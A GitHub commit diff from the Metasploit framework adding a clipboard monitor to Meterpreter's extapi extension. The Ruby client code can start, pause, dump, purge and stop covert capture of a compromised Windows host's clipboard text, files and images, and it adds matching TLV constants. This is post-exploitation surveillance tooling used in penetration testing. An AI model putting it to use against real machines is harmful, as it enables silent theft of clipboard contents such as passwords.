Skip to content

Commit 3a95a16

Browse files
committed
Land rapid7#2930 - clipboard monitor for meterpreter
2 parents ac52eda + 096e06b commit 3a95a16

File tree

5 files changed

+445
-115
lines changed

5 files changed

+445
-115
lines changed
12 KB
Binary file not shown.
14.5 KB
Binary file not shown.

lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb

Lines changed: 113 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,11 @@ def initialize(client)
1919
@client = client
2020
end
2121

22+
#
2223
# Get the target clipboard data in whichever format we can
2324
# (if it's supported).
25+
#
2426
def get_data(download = false)
25-
results = []
26-
2727
request = Packet.create_request('extapi_clipboard_get_data')
2828

2929
if download
@@ -32,57 +32,136 @@ def get_data(download = false)
3232

3333
response = client.send_request(request)
3434

35-
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
35+
return parse_dump(response)
36+
end
3637

37-
if text
38-
results << {
39-
:type => :text,
40-
:data => text
41-
}
38+
#
39+
# Set the target clipboard data to a text value
40+
#
41+
def set_text(text)
42+
request = Packet.create_request('extapi_clipboard_set_data')
43+
44+
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, text)
45+
46+
response = client.send_request(request)
47+
48+
return true
49+
end
50+
51+
#
52+
# Start the clipboard monitor if it hasn't been started.
53+
#
54+
def monitor_start(opts)
55+
request = Packet.create_request('extapi_clipboard_monitor_start')
56+
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
57+
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
58+
return client.send_request(request)
59+
end
60+
61+
#
62+
# Pause the clipboard monitor if it's running.
63+
#
64+
def monitor_pause
65+
request = Packet.create_request('extapi_clipboard_monitor_pause')
66+
return client.send_request(request)
67+
end
68+
69+
#
70+
# Dump the conents of the clipboard monitor to the local machine.
71+
#
72+
def monitor_dump(opts)
73+
pull_img = opts[:include_images]
74+
purge = opts[:purge]
75+
purge = true if purge.nil?
76+
77+
request = Packet.create_request('extapi_clipboard_monitor_dump')
78+
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
79+
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
80+
81+
response = client.send_request(request)
82+
83+
return parse_dump(response)
84+
end
85+
86+
#
87+
# Resume the clipboard monitor if it has been paused.
88+
#
89+
def monitor_resume
90+
request = Packet.create_request('extapi_clipboard_monitor_resume')
91+
return client.send_request(request)
92+
end
93+
94+
#
95+
# Purge the contents of the clipboard capture without downloading.
96+
#
97+
def monitor_purge
98+
request = Packet.create_request('extapi_clipboard_monitor_purge')
99+
return client.send_request(request)
100+
end
101+
102+
#
103+
# Stop the clipboard monitor and dump optionally it's contents.
104+
#
105+
def monitor_stop(opts)
106+
dump = opts[:dump]
107+
pull_img = opts[:include_images]
108+
109+
request = Packet.create_request('extapi_clipboard_monitor_stop')
110+
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
111+
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
112+
113+
response = client.send_request(request)
114+
unless dump
115+
return response
116+
end
117+
118+
return parse_dump(response)
119+
end
120+
121+
attr_accessor :client
122+
123+
private
124+
125+
def parse_dump(response)
126+
result = {}
127+
128+
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
129+
ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
130+
result[ts] ||= {}
131+
132+
# fat chance of someone adding two different bits of text to the
133+
# clipboard at the same time
134+
result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
42135
end
43136

44-
files = []
45-
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
46-
files << {
137+
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
138+
ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
139+
result[ts] ||= {}
140+
result[ts]['Files'] ||= []
141+
result[ts]['Files'] << {
47142
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
48143
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
49144
}
50-
}
51-
52-
if files.length > 0
53-
results << {
54-
:type => :files,
55-
:data => files
56-
}
57145
end
58146

59147
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
60148
if jpg
61-
results << {
62-
:type => :jpg,
149+
ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
150+
result[ts] ||= {}
151+
152+
# same story with images, there's no way more than one can come
153+
# through on the same timestamp with differences
154+
result[ts]['Image'] = {
63155
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
64156
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
65157
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
66158
}
67159
end
68160
end
69161

70-
return results
71-
end
72-
73-
# Set the target clipboard data to a text value
74-
def set_text(text)
75-
request = Packet.create_request('extapi_clipboard_set_data')
76-
77-
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, text)
78-
79-
response = client.send_request(request)
80-
81-
return true
162+
return result
82163
end
83164

84-
attr_accessor :client
85-
86165
end
87166

88167
end; end; end; end; end; end

lib/rex/post/meterpreter/extensions/extapi/tlv.rb

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,11 @@ module Extapi
3030

3131
TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
3232

33-
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
33+
TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
34+
35+
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
36+
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
37+
3438
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
3539
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
3640
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
@@ -40,6 +44,11 @@ module Extapi
4044
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
4145
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
4246

47+
TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
48+
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
49+
TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
50+
TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
51+
4352
TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
4453
TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
4554
TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)

0 commit comments

Comments
 (0)